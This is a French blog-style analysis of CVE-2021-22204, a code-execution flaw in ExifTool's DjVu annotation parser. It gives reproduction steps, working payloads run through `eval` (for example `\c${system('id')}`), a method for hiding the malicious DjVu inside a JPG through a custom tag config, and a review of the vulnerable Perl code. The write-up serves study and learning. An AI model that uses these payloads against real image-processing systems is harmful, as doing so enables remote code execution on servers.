
Analyse technique approfondie de CVE-2021-22204 (ExifTool RCE) avec reproduction du PoC, construction de payload et revue de code Perl du parseur d'annotations DjVu vulnérable.
Ceci devrait être un article d'analyse de CVE-2021-22204, mais c'est plutôt comme mon brouillon, rempli de choses désordonnées. Pour un article d'analyse de vulnérabilité, cela semble un peu bavard, mais cela m'a beaucoup appris.
Honnêtement, je n'avais jamais utilisé cet outil et je n'avais presque jamais touché au langage Perl, ce qui fait que j'avais beaucoup de questions dans mon esprit pendant l'analyse et même la reproduction. Avant de commencer l'analyse, regardons d'abord les PoC déjà publiés en ligne et mes questions.
Un article que j'ai vu est [1], qui donne une brève introduction à la cause de la vulnérabilité, mais comme je ne comprends pas le code Perl, beaucoup de points ne sont pas clairs. Le processus de reproduction est le suivant :
Télécharger la version 12.23 d'exiftool
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
Décompresser et installer
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
Bien sûr, si vous ne voulez pas l'installer, vous pouvez simplement placer le fichier exiftool du répertoire exiftool-12.23 dans un dossier accessible par la variable d'environnement pour utiliser directement l'outil, car Perl est un langage interprété, similaire à Python.
Créer une image malveillante : d'abord, installer les outils nécessaires
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
Exécuter les commandes suivantes pour créer un fichier djvu malveillant
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# C'est ce qui m'a le plus dérouté : je ne comprends pas pourquoi il faut compresser (car d'autres PoC ne le font pas)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Tout format 'N,N' où N est un nombre
# BGjp = Attend une image JPEG, mais on peut utiliser /dev/null pour n'utiliser aucune image de fond
# ANTz = Écrira le bloc d'annotation compressé avec le fichier d'entrée
Ensuite, analyser ce fichier malveillant avec l'outil exiftool, et on verra que la commande id est exécutée avec succès
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
Lors de la création du fichier au format djvu avec la commande djvumake, peut-on éviter de compresser le payload ? Car du point de vue de l'analyse, cela rend la visualisation et le test moins pratiques. Bien sûr, il suffit de remplacer le paramètre ANTz par ANTa. Les instructions pour ANTz et ANTa se trouvent dans la documentation d'exiftool [3], mais je n'ai toujours pas trouvé leur signification précise, car aucune documentation standard n'a été trouvée.
Je voudrais me plaindre ici : j'ai essayé de consulter la description des paramètres via
man djvumake, mais elle ne contient aucune explication surANTzetANTa. La date du document est 2001, il n'a pas été mis à jour depuis longtemps.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa signifie stocker Annotation en texte clair dans metadata du fichier djvu, tandis que ANTz est au format compressé bzz.
Cependant, les fichiers au format djvu ne sont pas courants, en particulier sur les sites web où il y a des téléchargements d'images, la plupart n'acceptent que des fichiers png/jpg/jpeg. Donc, si on pouvait transformer un fichier djvu malveillant en fichier jpg, ce serait bien.
L'outil exiftool nous aide à modifier le contenu des images. Il suffit d'insérer le fichier djvu malveillant à un endroit approprié du fichier jpg. Nous expliquerons plus tard, lors de l'analyse, quel est cet emplacement et pourquoi il convient.
Créer un fichier de configuration exiftool eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b correspond au Tag 'HasselbladExif'[6]
0xc51b => {
# Le nom peut être défini arbitrairement, c'est le nom du paramètre reçu
Name => 'HasselbladExif',
# Type de variable accessible en écriture
Writable => 'string',
# Le groupe auquel les données écrites appartiennent dans les métadonnées[7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
Pour la syntaxe des fichiers de configuration d'exiftool, voir [4][5]. Ensuite, prendre une image jpg normale poc.jpg et exécuter la commande suivante
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
Puis analyser poc.jpg avec exiftool ; la commande s'exécute avec succès
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
L'analyse suivante s'appuie sur le contenu de [2]. La version affectée par la vulnérabilité est exiftool < 12.24. Le fichier à l'origine de la vulnérabilité est
lib/Image/ExifTool/DjVu.pm (line 202)
Le code de la fonction concernée est le suivant
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
N'ayant jamais touché au langage Perl, franchement, je n'ai presque rien compris à ce que fait ce code, mais heureusement, il y a de très bons commentaires qui aident à comprendre la fonction. D'après le commentaire de la fonction, elle sert à analyser les données d'annotation dans les fichiers djvu, et d'après la structure du code, elle est récursive, et les données annotation sont délimitées par ().
Pour faciliter la compréhension du code, et également à des fins d'apprentissage, je vais brièvement introduire l'utilisation des expressions régulières en Perl.
L'utilisation des expressions régulières en Perl est particulière, différente des langages que j'ai rencontrés auparavant. En Perl, il existe trois formes d'expressions régulières :
m//, le m peut être omiss///tr///Ce qui se trouve entre // est une expression régulière ou une chaîne de caractères, mais le délimiteur peut aussi être {} au lieu de //, c'est une caractéristique de Perl.
Voyons d'abord un exemple de code de correspondance
#!/usr/bin/perl
$str = "this is a string";
$str =~ /this/;
print $str;
print "\n";
En Perl, on peut utiliser la fonctionnalité des expressions régulières via l'opérateur =~. Le code ci-dessus, que l'expression régulière corresponde ou non, affichera this is a string lorsqu'il imprime $str. Mais si l'expression régulière ne correspond pas, elle renvoie un booléen false.
#!/usr/bin/perl
$str = "this is a string";
if ($str =~ /this12/) {
print "true\n";
} else {
print "false\n";
}
Si l'on veut remplacer le contenu d'une variable chaîne, on peut faire comme ci-dessous
#!/usr/bin/perl
$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;
print $str;
print "\n";
# output
# this is str
L'utilisation de la substitution modifie directement la valeur de la variable.
Maintenant qu'on comprend le contenu des expressions régulières en Perl, revenons à la fonction précédente
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
# Récupère le paramètre passé (une référence)
my $dataPt = shift;
print($$dataPt);
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
# Rencontre une parenthèse gauche, on traite récursivement
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
# Récupère la position de la correspondance précédente de l'expression régulière ; ici, c'est la position du premier guillemet
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
# Correspond à nouveau à la position du guillemet droit et extrait le contenu entre les guillemets
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
print($tok."\n");
# we're good unless quote was escaped by odd number of backslashes
# Vérifie si le nombre de barres obliques inverses est impair, pour éviter que le " final ne soit échappé dans qq{""}
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
# Si impair, on ajoute un guillemet
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
print(qq{"$tok"}."\n");
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
Pour faciliter la compréhension, nous avons besoin d'un fichier adapté qui, lorsqu'il est analysé par exiftool, exécute cette fonction. On peut construire un fichier djvu exploit.djvu avec le payload suivant :
(metadata (Author "trganda"))
Ensuite, insérer quelques print dans les parties clés de la fonction ParseAnt($) pour afficher des informations, comme ci-dessus. Puis, dans le répertoire source d'exiftool, exécuter
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore
On voit ici que le contenu final passé à eval pour exécution est, notez bien que les guillemets doubles sont importants :
"trganda"
Maintenant, si on remplace trganda par la fonction system pour exécuter une commande, cela fonctionne-t-il ? Essayons :
$tok = "${system('id')};";
# output
# "\${system('id')};"
En exécutant, on voit que le résultat n'est que le texte passé ; le code n'est pas exécuté car $ a été remplacé par \$.
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
Alors, comment contourner cette restriction ? Il faut y aller pas à pas. L'auteur de [2], pendant ses tests, a utilisé le payload suivant :
(metadata (Author "a\
""))
Le résultat après exécution est le suivant, eval a levé une exception :
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\
a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
Expliquons ce qui se passe avec ce payload. Concentrons-nous sur la deuxième boucle for :
# Le contenu de l'Annotation Author est, ne pas oublier le \n
"a\(\n)
""
# Dans la boucle for, la première sous-chaîne extraite, $tok obtient le contenu suivant, car la première expression régulière correspond au premier guillemet, la seconde au premier guillemet de la deuxième ligne
a\(\n)
# Ensuite, le code vérifie si le nombre de \ en fin de ligne est impair ; si oui, il ajoute un ",
# et l'expression régulière $tok =~ /(\\+)$/ associe le $ à \n, pas à la fin du texte.
# Ainsi, le code suivant s'exécute, ajoutant un " à la fin de $tok.
a\(\n)"
# La deuxième entrée dans la boucle extrait la sous-chaîne, qui est le contenu entre les guillemets de la deuxième ligne, mais c'est vide, après concaténation avec $tok, le résultat est le même qu'avant
a\(\n)"
# Ensuite, le contenu passé à eval est
qq{"$tok"} -> "a\(\n)""
# L'exécution de eval échoue car le guillemet n'est pas fermé
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
Pour la logique d'exécution de eval en Perl, je recommande de consulter la documentation officielle [9]. Cependant, comme certaines parties ne sont pas mentionnées dans la documentation et que je n'ai jamais utilisé Perl, j'ai du mal à comprendre certains aspects au début. Je n'ai pu comprendre certaines logiques de eval qu'en testant continuellement des exemples de code. Ci-dessous, j'aborderai certains points utiles pour comprendre cette vulnérabilité avant de parler de l'exécution réelle du payload.
En Perl, eval peut non seulement exécuter des fragments de code, mais aussi capturer des exceptions sans interrompre l'exécution du programme. eval peut recevoir une constante de chaîne, une variable de chaîne ou directement du code à analyser et exécuter.
# Constante de chaîne
eval "system('id')";
# Variable
$cm = "system('id')";
eval $cm;
eval "$cm";
# Exécuter directement du code
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
La stratégie d'exécution de eval est de ne retourner que le résultat de la dernière sous-instruction. Cela signifie que s'il y a plusieurs segments de code, seul le dernier résultat est pris, comme ci-dessous :
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST
Lorsque eval rencontre une erreur d'exécution dans une instruction, le code suivant n'est plus exécuté et une exception est levée (le cas échéant).
Revenons au payload de test précédent. Y a-t-il quelque chose à remarquer ? Si nous pouvions fermer correctement le " et placer le code à exécuter entre les guillemets de la deuxième ligne, le code pourrait être exécuté par eval.
L'auteur de [2] a donné la forme suivante :
(metadata
(Author "\
" . return `date`; #")
)
# Le contenu passé à eval pour exécution est
"\
" . return `date`; #"
Comment comprendre cette partie exécutée par eval ? Tout d'abord, l'opérateur . en Perl sert à concaténer les chaînes. Donc, d'abord, on exécute :
return `date`;
Puis le résultat est concaténé avec \(\n). En fait, return n'est pas nécessaire ; la commande date s'exécute aussi sans lui, et le dernier " est commenté.
Bien sûr, on peut aussi écrire comme ceci :
(metadata (Author "\
"; return `date`; #"))
# Le contenu passé à eval pour exécution est
"\
"; return `date`; #"
Avec cette approche, eval analyse d'abord "\(\n)";, cette partie est interprétée comme une chaîne, puis continue à analyser les instructions suivantes, donc la commande date est exécutée avec succès.
Après avoir exécuté le payload ci-dessus, on obtient le résultat suivant, montrant une exécution réussie :
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number : 12.23
File Name : exploit.djvu
...
Author : 2021年 11月 04日 星期四 15:22:05 CST.
...
Écrire jusqu'ici, je suis un peu fatigué. Le payload donné par l'auteur de [2] fonctionne parfaitement en contournant le ". Existe-t-il d'autres moyens ? En regardant en arrière, le contenu de [1] donnait déjà la solution :
(metadata "\c${system('id')};")
Il faut savoir que la fonction ParseAnt($) remplace le symbole $, ce qui empêche l'exécution directe. Alors pourquoi cela fonctionne-t-il ? Vous êtes-vous demandé quel est le rôle de \c ? Tout d'abord, en construisant un fichier djvu avec ce payload ci-dessus et en l'analysant avec exiftool, le contenu passé à eval est :
"\c\${system('id')};"
Sans \c :
"\${system('id')};"
Ce code ne sera pas exécuté ; il ne retournera qu'une chaîne, car $ a été échappé. Le rôle de \c est d'annuler l'effet du \ avant $, permettant ainsi l'exécution du code suivant. En Perl, il existe de nombreux caractères d'échappement, et \c en fait partie, mais il n'est pas utilisé seul ; il doit être associé à un caractère arbitraire.
| Caractère d'échappement | Signification |
|---|---|
| \cX | Caractère de contrôle, X peut être n'importe quel caractère |
C'est précisément pour cela que \c\ est interprété comme autre chose, ce qui permet l'exécution du code suivant.
Les fichiers malveillants construits précédemment étaient tous limités au format djvu. Il serait plus significatif de pouvoir construire un fichier couramment utilisé, comme une image jpg, etc. Pour y parvenir, il faut trouver quels fichiers, lorsqu'ils sont analysés, appellent la fonction vulnérable ParseAnt($).
En remontant, on trouve que ProcessAnt($$$) appelle ParseAnt($), mais on ne peut pas remonter plus loin directement.
ProcessAnt($$$)
|
v
ParseAnt($)
Comme le langage Perl a un mécanisme de chargement dynamique de modules, on peut essayer de voir où Djvu.pm est chargé.

En examinant les fichiers trouvés un par un, on découvre que dans lib/Image/ExifTool.pm à la ligne 2620, le code suivant décide quel module charger en fonction du type de fichier pour traiter le fichier correspondant.
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
# ...
my $module = $moduleName{$type};
$module = $type unless defined $module;
my $func = "Process$type";
# load module if necessary
if ($module) {
require "Image/ExifTool/$module.pm";
$func = "Image::ExifTool::${module}::$func";
} elsif ($module eq '0') {
$self->SetFileType();
$self->Warn('Unsupported file type');
last;
}
# ...
}
Ensuite, on cherche où ExtractInfo($;@) est appelé. Il y a plusieurs endroits ; on se concentre sur le code dans lib/Image/ExifTool/Exif.pm à la ligne 3004 :
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
WRITE_PROC => \&WriteExif,
CHECK_PROC => \&CheckExif,
WRITE_GROUP => 'ExifIFD', # default write group
SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
# ...
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
# ...
);
%Image::ExifTool::Exif::Main est une table de type Map, et la fonction de Exif.pm est, comme l'indique le commentaire, de lire les informations de métadonnées conformes aux spécifications EXIF/TIFF :
Description: Read EXIF/TIFF meta information
En fait, lors de la reproduction précédente, nous avions déjà vu %Image::ExifTool::Exif::Main. À l'époque, je ne comprenais pas ce que signifiait 0xc51 et pourquoi cette valeur était nécessaire. Maintenant, je sais que si les métadonnées d'un fichier contiennent l'ID correspondant à 0xc51, elles seront analysées par la fonction ExtractInfo, qui mènera progressivement à la fonction vulnérable.
Ainsi, précédemment, grâce à la puissante fonctionnalité de personnalisation d'exiftool, nous avons écrit un fichier de configuration, défini un fichier jpg ordinaire, inséré une métadonnée de type 0xc51b contenant le contenu malveillant. À ce stade, tout le processus de déclenchement est clair, et mes propres questions ont trouvé leurs réponses. L'auteur de [2] a également donné des méthodes pour insérer des données malveillantes dans d'autres formats de fichiers, dont l'idée est similaire à celle-ci.
Le diff sur GitHub est le suivant :

[1] A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)
[2] ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io
[3] TagNames of DjVu
[4] TagNames Explan
[5] Exiftool User Defined Configuration File
[6] EXIF
[7] Groups
[8] exiftool-arbitrary-code-execution
[9] eval in Perl